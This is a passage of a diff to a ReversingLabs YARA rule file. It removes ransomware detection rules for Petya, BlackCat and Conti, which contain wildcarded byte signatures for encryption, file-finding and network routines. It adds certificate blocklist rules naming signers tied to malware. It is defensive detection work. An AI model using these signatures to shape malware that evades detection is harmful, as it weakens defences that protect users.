"3b5e5b81890f1dea3dc0858cade54e7f88a21861818be79c3e7fba066f80d491" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Petya" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $entry_point = { - 55 8B EC 56 8B 75 ?? 57 83 FE ?? 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 56 FF 75 ?? E8 ?? ?? ?? ?? 8B F8 85 F6 75 ?? E8 ?? - ?? ?? ?? 8B C7 5F 5E 5D C2 - } - $shutdown_pattern = { - 55 8B EC 83 EC ?? 8D 45 ?? 56 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 - 75 ?? 33 C0 EB ?? 8D 45 ?? 33 F6 50 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 56 56 8D - 45 ?? C7 45 ?? ?? ?? ?? ?? 50 56 FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? 8D 4D ?? 51 6A ?? 56 56 56 68 ?? ?? ?? ?? FF D0 33 C0 83 C4 ?? 40 5E 8B - E5 5D C3 - } - $sectionxxxx_pattern = { - 83 EC ?? 53 55 8B C2 89 4C 24 ?? 56 57 8B C8 89 44 24 ?? 33 D2 E8 ?? ?? ?? ?? 85 C0 - 74 ?? 0F B7 48 ?? 8B FA 83 C1 ?? 03 C8 0F B7 40 ?? 89 44 24 ?? 85 C0 74 ?? BE ?? ?? - ?? ?? 2B F1 80 39 ?? 8D 59 ?? 6A ?? 5D 75 ?? 85 ED 74 ?? 0F BE 2C 1E 0F BE 03 43 3B - E8 74 ?? 83 C1 ?? 83 EE ?? 47 3B 7C 24 ?? 72 ?? 8B CA 85 C9 74 ?? 8B 51 ?? 8B 5C 24 - ?? 8B FB 03 54 24 ?? 8B F2 8B 4A ?? A5 83 C1 ?? 03 CA 89 4B ?? A5 A5 8B 43 ?? 8D 72 - ?? 89 43 ?? 8B 43 ?? 89 43 ?? B8 ?? ?? ?? ?? 89 73 ?? 66 39 01 74 ?? 8B 7A ?? 8B 2A - 03 7A ?? 74 ?? 33 DB 43 2B DE 33 D2 8D 0C 33 8B C5 F7 F1 30 16 46 4F 75 ?? B2 ?? 5F - 5E 5D 0F B6 C2 5B 83 C4 ?? C3 - } - $crypt_gen_pattern = { - 55 8B EC 53 57 8B 7D ?? 8D 45 ?? 68 ?? ?? ?? ?? 6A ?? 33 DB 53 53 50 89 1F FF 15 ?? - ?? ?? ?? 85 C0 75 ?? 6A ?? 58 EB ?? 56 FF 75 ?? 8B 75 ?? 56 FF 75 ?? FF 15 ?? ?? ?? - ?? 85 C0 75 ?? 6A ?? 58 EB ?? 53 FF 75 ?? FF 15 ?? ?? ?? ?? 89 37 33 C0 5E 5F 5B 5D - C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "INC SALYUT" and ( pe.signatures [ i ] . serial == "00:df:51:21:dc:99:d1:ab:6b:7e:52:29:f6:83:21:23:ef" or pe.signatures [ i ] . serial == "df:51:21:dc:99:d1:ab:6b:7e:52:29:f6:83:21:23:ef" ) and 1613433600 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_760Cef386B63406751Ae83A9Eae92342 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "c2cbd1fd-ef68-5128-9c45-88b73a49130f" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15426-L15442" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "43b56736afe081a1215db67b933413d7fbafbfc1be8213b330668578921ebca7" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $entry_point at pe.entry_point ) and $shutdown_pattern and $sectionxxxx_pattern and $crypt_gen_pattern + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Gidrokon LLC" and pe.signatures [ i ] . serial == "76:0c:ef:38:6b:63:40:67:51:ae:83:a9:ea:e9:23:42" and 1601942400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Blackcat : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_5C2625Fa836A64F4882C56Cc7A45F0Ed : INFO FILE { meta: - description = "Yara rule that detects BlackCat ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e623340d-8df8-5f13-b75f-379bd0038f64" - date = "2022-02-14" - modified = "2022-02-14" + id = "db968865-fb1e-57b5-8968-6510e83c02ac" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BlackCat.yara#L1-L109" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15444-L15460" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "24932baa625aedd14b5776ba3209c9ee330e84538c5267eeb5e09e352f655835" + logic_hash = "85e187684d62c33ef6f69323b837ef2d44facab8278b512d7bd6afd49eaed976" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "BlackCat" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_connection_p1 = { - 8B 44 24 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? A1 ?? - ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 - ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? - ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 83 F8 ?? A1 ?? ?? ?? ?? 0F 45 C1 8B 0D ?? ?? - ?? ?? 0F 45 CA 8D 54 24 ?? 89 94 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 - 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? - ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 - 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? - ?? ?? ?? 56 51 FF 50 ?? 83 C4 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 56 68 ?? ?? ?? ?? - FF 74 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? - ?? ?? 6A ?? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 - ?? E8 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 56 68 ?? ?? ?? ?? 68 ?? ?? - ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 85 - } - $remote_connection_p2 = { - C0 89 44 24 ?? 0F 88 ?? ?? ?? ?? 8B 8B ?? ?? ?? ?? 74 ?? A1 ?? ?? ?? ?? 89 CB 85 C0 - 75 ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 74 24 ?? 6A ?? 50 E8 - ?? ?? ?? ?? 85 C0 89 D9 75 ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 5C 24 ?? 89 44 24 ?? - 53 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 89 F1 8D 54 24 ?? 89 44 24 ?? 89 5C 24 - ?? 89 5C 24 ?? C6 44 24 ?? ?? E8 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? - ?? 8B 84 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? - ?? ?? ?? 3D ?? ?? ?? ?? 0F 43 C1 6A ?? 50 53 FF 74 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 89 - 44 24 ?? 75 ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 74 ?? 53 6A ?? FF 35 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 83 7C 24 ?? ?? 74 ?? FF 74 24 ?? 6A ?? FF 35 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 5C 24 ?? 0F 84 ?? ?? ?? ?? 80 BB ?? ?? ?? ?? - ?? 0F 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB - } - $enum_procs = { - 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 39 F7 74 ?? - 69 C7 ?? ?? ?? ?? 89 4D ?? 01 C8 68 ?? ?? ?? ?? 89 DE 53 50 E8 ?? ?? ?? ?? 83 C4 ?? - 47 8D 85 ?? ?? ?? ?? 89 7D ?? 50 8B 5D ?? 53 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 89 - F3 89 C6 EB ?? 8D 4D ?? 89 F2 E8 ?? ?? ?? ?? 8B 4D ?? 8B 7D ?? EB ?? 31 FF 8B 75 ?? - 85 FF 75 ?? E9 ?? ?? ?? ?? 31 FF 53 E8 ?? ?? ?? ?? 8B 75 ?? 85 FF 0F 84 ?? ?? ?? ?? - 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 69 C7 ?? ?? ?? ?? 8B 4D ?? 8D BD ?? ?? ?? ?? 01 F0 89 - 45 ?? 8B 45 ?? 8D 04 40 8D 04 81 89 45 ?? EB - } - $find_files = { - 57 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 53 56 E8 ?? ?? ?? - ?? 83 F8 ?? 89 45 ?? 0F 84 ?? ?? ?? ?? 89 75 ?? A1 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? - ?? ?? 85 C0 0F 84 ?? ?? ?? ?? A3 ?? ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 85 C0 0F - 84 ?? ?? ?? ?? 89 C6 8B 45 ?? 8B 4D ?? 89 46 ?? 8B 45 ?? 89 46 ?? 8B 45 ?? 89 46 ?? - 8D 41 ?? C7 06 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 89 CB 50 E8 ?? ?? - ?? ?? 83 C4 ?? 8B 45 ?? 89 43 ?? 89 73 ?? 8B 75 ?? 31 C0 C7 43 ?? ?? ?? ?? ?? F7 45 - ?? ?? ?? ?? ?? 89 03 75 ?? 83 7D ?? ?? 74 ?? 57 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 74 ?? 83 7D ?? ?? 74 ?? FF 75 ?? 6A ?? FF 35 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5E 5F 5B 5D C3 - } - $encrypt_files_p1 = { - B8 ?? ?? ?? ?? 8D 4D ?? 8D 95 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 7D ?? 8B 75 - ?? 8D 4D ?? 89 FA 56 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 8B 5D ?? 89 - 45 ?? 8B 45 ?? 83 F8 ?? 72 ?? 85 DB 74 ?? 0F B7 0B 81 F9 ?? ?? ?? ?? 75 ?? 8B 4B ?? - 89 C2 29 CA 72 ?? 83 FA ?? 72 ?? 85 DB 74 ?? 81 3C 0B ?? ?? ?? ?? 75 ?? 0F B7 54 0B - ?? 81 FA ?? ?? ?? ?? 75 ?? 0F B7 54 0B ?? 83 EA ?? 89 55 ?? BA ?? ?? ?? ?? 19 D2 89 - 55 ?? 72 ?? 83 F9 ?? 76 - } - $encrypt_files_p2 = { - 53 E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 5D ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 57 - 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 51 ?? 29 D0 8B 55 ?? 0F 92 - 45 ?? 83 7D ?? ?? 75 ?? 80 7D ?? ?? 75 ?? 39 C2 77 ?? B8 ?? ?? ?? ?? F7 64 0B ?? 8B - 55 ?? 70 ?? 39 C2 72 ?? 8B 44 0B ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 45 ?? 8B 85 ?? - ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? - 89 45 ?? 89 10 89 48 ?? 8B 45 ?? 89 45 ?? 53 E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? - 8B 45 ?? 8B 4D ?? 29 45 ?? 3B 4D ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? E8 ?? ?? ?? - ?? 8B 45 ?? 8B 4D ?? 89 45 ?? 89 4D ?? E9 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B 35 ?? ?? - ?? ?? 8B 45 ?? F2 0F 10 45 ?? 85 F6 89 85 ?? ?? ?? ?? F2 0F 11 85 ?? ?? ?? ?? 0F 84 - ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 8D 0C C0 8D 3C 49 01 C7 01 F7 EB - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "5c:26:25:fa:83:6a:64:f4:88:2c:56:cc:7a:45:f0:ed" and 1474416000 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_7Df6Fa580F84493C414Ee0E431086737 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "27afa64e-0c9e-58ca-a4e1-db97cde66427" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15462-L15478" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "ef244587c9eb1e1cb2f8a9c161e5dd9ff70e9764586f16e011334400ee400ed9" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $enum_procs ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "7d:f6:fa:58:0f:84:49:3c:41:4e:e0:e4:31:08:67:37" and 1477440000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Conti : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_309D2E115F1Fe2993Ee2E063 : INFO FILE { meta: - description = "Yara rule that detects Conti ransomware." + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "7182f3f2-7b2a-5c29-b7a9-607feafbe570" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15480-L15496" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "15fdb95fe5429cdc0263615c2b7c90d21f37b52954c5ce568c1293cd3a544730" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "30:9d:2e:11:5f:1f:e2:99:3e:e2:e0:63" and 1467102525 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_90E33C1068F54913315B6Ce9311141B9 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "61c5d5ed-ca2c-5f71-893b-4c933b37fa27" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15498-L15516" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "4a97171c6dfaa8d249ab0be1ce264b596d266ff4697d869a4d1f90cc0e2c49b7" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GERMES, OOO" and ( pe.signatures [ i ] . serial == "00:90:e3:3c:10:68:f5:49:13:31:5b:6c:e9:31:11:41:b9" or pe.signatures [ i ] . serial == "90:e3:3c:10:68:f5:49:13:31:5b:6c:e9:31:11:41:b9" ) and 1487635200 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_3F15C3 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "10bee456-21c0-51a0-988b-43daf65e596b" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15518-L15534" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "03ea946fa99ed7a6ab23cb26dbf514b6c062d63371c9e2a5ddf999acd1954955" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Certified Software" and pe.signatures [ i ] . serial == "3f:15:c3" and 1110577130 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_285Eccbd1D0000E640B84307Ef88Cd9F : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "4dc1523f-edc8-52e2-99aa-7389c0eb5e54" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15536-L15552" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "267df1c327b65938b2b82a53ec8345290659560c69c9a70f2866fe7bd73513a7" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DRAGON BUSINESS EQUIPMENT LIMITED" and pe.signatures [ i ] . serial == "28:5e:cc:bd:1d:00:00:e6:40:b8:43:07:ef:88:cd:9f" and 1611619200 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_55Ab71A3F9Dde3Ef20C788Dd1D5Ff6C3 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "c8b5b632-26e6-5a78-99be-b50b1240dbec" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15554-L15570" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "4bee740eaf359462cd85c6232160c6b1fc3df67acfe731da9978f0b8a304a93f" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Zhengzhoushi Tiekelian Information Technology Co.,Ltd" and pe.signatures [ i ] . serial == "55:ab:71:a3:f9:dd:e3:ef:20:c7:88:dd:1d:5f:f6:c3" and 1323907200 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_4Beca26210737A5442Ff8B47 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "30570c07-9ba1-5b7c-a369-c6def80f9dc5" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15572-L15588" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "7a1130413ae8807dc1ec96a6b1c3bac705a1520f7268db2848b997f6f3f9fc9b" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "4b:ec:a2:62:10:73:7a:54:42:ff:8b:47" and 1476437049 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_0F203839A9C63B8798A7Cb31 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "dc8428f3-ff28-5fcf-9855-f20c68973afe" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15590-L15606" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "604ba3fa671cc98e42caf80d07bc9650d193f898413517b46482f183b0f7008a" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "0f:20:38:39:a9:c6:3b:87:98:a7:cb:31" and 1480923809 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_Dc992Ea8E6Bb4926931Df656D5Eef8A0 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "506b217e-ea82-5f14-880e-b6c0cbb001fb" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15608-L15626" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "2b261624677a1c4a1ef539106bedcef30f272fda3d833d4c8095e9797d592e1f" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MEGAPOLISELIT, OOO" and ( pe.signatures [ i ] . serial == "00:dc:99:2e:a8:e6:bb:49:26:93:1d:f6:56:d5:ee:f8:a0" or pe.signatures [ i ] . serial == "dc:99:2e:a8:e6:bb:49:26:93:1d:f6:56:d5:ee:f8:a0" ) and 1497916800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_41Bd49Bb456644D8183B3Dae72Ec8F22 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "4645eeae-2aea-59aa-a6bf-095bb9d0d711" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15628-L15644" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "0516af7b27d244f21c9cea62fe599725d412e385e34f5f3f4f618d565365d321" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "41:bd:49:bb:45:66:44:d8:18:3b:3d:ae:72:ec:8f:22" and 1468454400 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_A8D40Da6708679C08Aebddea6D3F6B8A : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "a4224bf1-1875-5b2c-b79d-998d3766d163" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15646-L15664" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "27ec32791eaeccb8aa95d023c4fc8943f0435c32d8a17bde98d7d0b02ba17e59" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VELES LTD." and ( pe.signatures [ i ] . serial == "00:a8:d4:0d:a6:70:86:79:c0:8a:eb:dd:ea:6d:3f:6b:8a" or pe.signatures [ i ] . serial == "a8:d4:0d:a6:70:86:79:c0:8a:eb:dd:ea:6d:3f:6b:8a" ) and 1547424000 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_307642E1F3A92C6Cc2E7Fb6E18F2Ddcb : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = 